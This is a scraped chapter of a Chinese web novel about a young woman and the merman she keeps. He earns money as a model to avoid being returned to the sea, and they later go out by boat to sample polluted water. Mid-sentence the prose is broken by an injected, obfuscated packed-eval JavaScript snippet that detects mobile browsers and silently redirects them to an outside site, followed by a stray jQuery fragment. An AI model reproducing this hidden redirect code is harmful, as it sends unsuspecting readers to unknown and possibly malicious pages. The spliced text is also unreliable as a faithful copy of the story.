文趣网 > 其他小说 > 惊!捡到的人鱼竟是海洋霸主! > 7. 嚯!死鱼你想干嘛?
    不等死鱼解释,李茶茶一巴掌呼他头顶上,“不是——我那么担心你,怕你迷路,你居然跑去抢钱?”

    理智打架中,现在处于一个想举报又不知道该不该举报的自我拉扯中。

    埃利安早已习惯了李茶茶的手劲,等脑袋的嗡嗡声过去,他抬头,就见李茶茶抱着手,一幅审问的模样,手里还捏着手机,屏幕停在通话界面上,110三个数字已经准备好了。

    “说吧,哪来的钱。”

    埃利安歪头,理所当然道:“刘悦给的。”

    才一下午不见,死鱼的口音已经完全与常人无异了。

    但这不是重点。

    李茶茶皱了皱眉,“刘悦?”好耳熟的名字。

    她思考在哪听过,就见一个被捏的皱巴巴的名片递到了眼前。

    埃利安:“就是这个。”

    李茶茶一眼瞥到名片上YC娱乐公司几个大字。

    脑子一阵灵光,她恍然大悟,“奥!不是——”

    李茶茶震惊地看着眼前的死鱼,刚才都没注意,这会突然发现他脸上居然化了妆,“你去应聘练习生了?”

    埃利安听不懂,摇摇头,“模特……嗯……平、面模特。”

    李茶茶眼睛一亮,心情瞬间好了,她拍了下死鱼肩膀,“不错啊,刚去就挣上钱了。”

    看着李茶茶开心的样子,埃利安浅浅一笑,“刘悦说我很符合……就拍了,我让她给了我现金。”

    他又把那个黑色塑料袋递到李茶茶面前,“是……给你的。”

    “给我?”

    李茶茶后退半步,疑惑问:“为什么给我?”

    埃利安理所当然道:“因为你要养我,要钱。”

    “但是我有钱啊,你不用给我。”

    李茶茶不解,她很穷吗看着?不能吧,家里衣食住行也没苛待这条鱼吧。

    不会是那个浴缸?

    “你是不是误会了。”李茶茶解释:“新浴缸不是不让你用,本来大的那个也是你的窝,但因为要送你走了,买也买了我就没退,你不要多想。”

    学会说话比听懂说话要简单的多,埃利安花了会时间理解后,又摇了摇头,“不是,我现在能给你钱,所以,你不要送我回海里。”

    “什么?”李茶茶像是不敢相信自己听见了什么,下意识反问。

    埃利安难得正经,很严肃地又重复了一遍,语气比刚才更坚定,“我可以给你钱,你不要送我回海里,养我不会花你太多钱的,不要抛弃我。”

    刚学会说话,他不会弯弯绕绕,只能用最直白的词句表达最真实的内心,但也就是这么不加掩饰的话语,却意外刺痛了李茶茶的内心。

    李茶茶心口一酸,那天她只自顾说了计划,没问过这条鱼愿不愿意,先入为主的只是想死鱼回到属于他的地方去,逃避人类社会,这个让他感到陌生,甚至是威胁他生命的地方。

    但她忽略了,不是这个世界太坏,而是自认为是这个世界主宰者的人类太坏。

    回去深海就能逃离危险吗?在远离她视线的地方,死鱼就能安全躲开人类的搜查吗?

    答案是不能的。

    眼睛刚哭过,现在又酸了起来,密密麻麻的酸涩,像抿了一口柠檬,先是酸,再是苦。

    17岁那年,高考后本该是庆祝的日子。

    她回家,没来得及分享喜悦,先得知的却是父母和平离婚的消息。

    两个燃烧了所有爱,只剩下柴米油盐的中年人,在将唯一的女儿养到成年后,在高考结束的第二天便领了离婚证,并迅速开启了新生活。

    而她,这个已经成年的女儿,被夹在中间左右为难,能做的只有故作平静接受,然后再不打扰,除了大学期间的生活费学费外,彼此再无联系。

    所以被抛弃的感受,没有人会比她更懂。

    李茶茶接过那个黑色塑料袋,回想她一意孤行的决定,也是对死鱼的一种抛弃。

    “对不起……”她低声喃喃,“对不起……”

    眼泪像掉了线的珠子,颗颗饱满掉入塑料袋里。

    空气里又是那股咸咸的味道,但这次更浓,还带着一丝苦味。

    埃利安下意识伸出手把李茶茶揽入怀里抱紧,没问为什么道歉,也不说话,只是抱着她。

    哪怕他属于深海的恒温动物,不会有温暖的体温,但只要抱着就好。

    李茶茶埋在埃利安怀里,再也控制不住情绪,她哭得小声,常年来的独立自行让她无法习惯于外露情绪,但今天或许不同,像是要发泄以往的所有委屈,还要替死鱼表达他不懂,但他会伤心的情绪。

    “我……我们回家,不送你走了,我们回家……”

    李茶茶的声音断断续续,不住地抽噎几声。

    目的达到了,但埃利安感受不到内心的满足和喜悦,心脏好像缺了一角,变得患得患失。

    他闷闷地“嗯”了声,把李茶茶抱得更紧,希望能这样弥补心脏缺掉的部分。

    *

    回到家,开灯。

    埃利安记着哭过后眼睛会红肿,第一时间捧着李茶茶的脸,看着她只稍微红了不少的眼睛。

    他抬手蹭了蹭那里。

    李茶茶能感觉到眼角边一阵冰凉,几秒后,不适感全部消失不见。

    “诶?”她赶紧往后仰头从埃利安手里逃出来,跑进浴室的洗漱镜照了又照。

    见眼睛的红肿消退,李茶茶又眨了几下,确认眼睛的不适感是真的消失了。

    她激动地跑出去,一把抱住死鱼的肩膀,严肃质问:“你会魔法?”

    埃利安点了点头,又摇了摇头。

    “不知道,就是能恢复。”

    见死鱼一脸懵的样子,李茶茶半信半疑,“这个有被人类发现过吗?”

    埃利安认真摇头,“只在海里用过。”

    “海里?”李茶茶紧张起来,“在深海你也会受伤?”

    “不是。”

    埃利安回想起深海的日子,“是……其他海洋伙伴。”

    他蔚蓝的眼睛,像一面明镜般透亮,盯着李茶茶道:“人类的垃圾,海洋伙伴偶尔会被影响,吃掉或者是被缠住,我就负责帮它们。”

    这番话说的平静,却有着让李茶茶不得不深思的程度。

    对于人类来说,这些寻常的东西,在大海以及大海的原住民眼里,就是外来的入侵者,甚至是威胁生命的袭击者。

    李茶茶抬手,揉了揉埃利安的脑袋,“做得好。”

    她不禁想起今天所里的事,明天还要出海一趟,死鱼也很久没去过海边了。

    李茶茶问他:“明天想和我一起出海吗?”

    明天出海的安排只是她自己的私程,不带其他人,如果死鱼想回海里也不至于有暴露的风险。

    埃利安想了想,“我要先找刘悦说。”

    “嗯?”李茶茶好一会才反应过来刘悦是谁,“后面还有合作?”

    “对。”埃利安点头,语气里有些骄傲,“我和她签了合同。”

    “哈——?”

    “好的刘小姐,那就约在周六见面吧。”

    李茶茶挂断电话,伸出一根手指戳戳埃利安的额头,“怎么可以随便就签合同呢?如果里面有霸王条款呢?如果是骗你给她们打一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633010|206464||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    辈子黑工呢?”

    埃利安躲避着李茶茶的手,“我在图书馆看完法律了,那份合同看过了,没问题的。”

    李茶茶穷追不舍,扒拉着他的脸一阵晃悠,“那也不行!你是人鱼啊,难不成要在人类社会活一辈子,给她们一直打工。”

    “没有一直打工。”埃利安反驳,“只签了八个月。”

    李茶茶恨铁不成钢地瞪他一眼,真想敲开这条鱼脑袋看看,里面是不是都是海水。

    “行了行了。”

    事到如今改变不了什么,李茶茶摆摆手,“等周末看看再说吧。”

    毕竟死鱼还要在人类社会生活一段时间。

    *

    次日,李茶茶开着院里的游艇出海。

    今天的太阳很烈,尤其是在正午过后的两点钟,恨不得给人晒脱一层皮。

    李茶茶戴了个遮阳草帽,从旁边的暗格里又翻翻找找出另外一个,转身给死鱼戴上,再打个绳紧紧勒住他下巴。

    埃利安不习惯地动了动头,被李茶茶一掌拍到头顶按住,“别动,林欣说了,要少让你晒点太阳,待会等离岸边远了你再下海去玩会。”

    “哦。”埃利安只能乖乖坐着。

    空气里是蒸腾后的海水味,淡淡的,暖暖的,很熟悉。

    埃利安躲在遮阳棚下,看李茶茶站在驾驶台,手里稳当地操纵着游艇。

    人类很聪明,哪怕没有尾巴和翅膀,依旧可以畅游和翱翔。

    “热吗?”李茶茶回头问。

    她帽檐下的脸已经晒的通红,就连裸露在外的手臂也是绯红一片。

    埃利安不知怎的,视线挪不开,只觉得那片皮肤红的有些刺眼。

    他站起身,高大的身躯站在李茶茶身旁,替她挡住一部分阳光。

    李茶茶摸不清这条鱼的想法,但看他脸色无异,也没再多问。

    游艇继续前行,直到来到澜湾海域的边缘,这里离岸边足有300公里,不可能有其他人靠近,待会死鱼想回海里也就不会被人看见。

    李茶茶停好游艇,一个转身,被埃利安拉住了手臂。

    下一瞬,手臂的皮肤被一层淡蓝色光晕覆盖,冰冰凉凉的,缓解了被烈日灼烧的难受。

    “好神奇。”李茶茶看着晒红的皮肤恢复成原来的样子,“这也是恢复能力的一部分吗?”

    “嗯。”埃利安点头,收回手,李茶茶的手臂皮肤已经看不出晒伤的痕迹。

    李茶茶稀奇地抬起手看了看,滨海市属于热带季风气候,简而言之就是只有夏天,尤其是每年7、8月份,只要出海就必晒伤,但她从来没想过用防晒霜,毕竟那玩意儿对海洋的破坏还是很强的。

    “想不到嘛。”李茶茶拍了拍死鱼肩膀,“我还收获了个移动治疗箱。”

    “哼。”埃利安傲娇地抬起下巴。

    李茶茶死死忍住才没挠他下巴。

    她去一边带上仪器,站在船艉平台处,弯下腰收集了两管海水。

    埃利安站在一边,“装这个做什么?”

    李茶茶将试管放入深孔板,解释道:“昨天回所里,发现澜湾出现了不正常污染数值曲线,因为他们没有及时做出对策来取样抽查,现在过去了那么久,海洋的净化能力很快,要拿到污染源头的数据,只能一点一点缩小范围。”

    她朝旁边示意,“那边是潜水服,不过我的技术不大行,但拿到往下40米处的海水样本还是没问题的。”

    埃利安听完,开始脱衣服。

    “诶——!”李茶茶赶紧缩到了甲板边缘,瞪着眼睛威慑面前不知羞耻的鱼,“不是——什么意思?”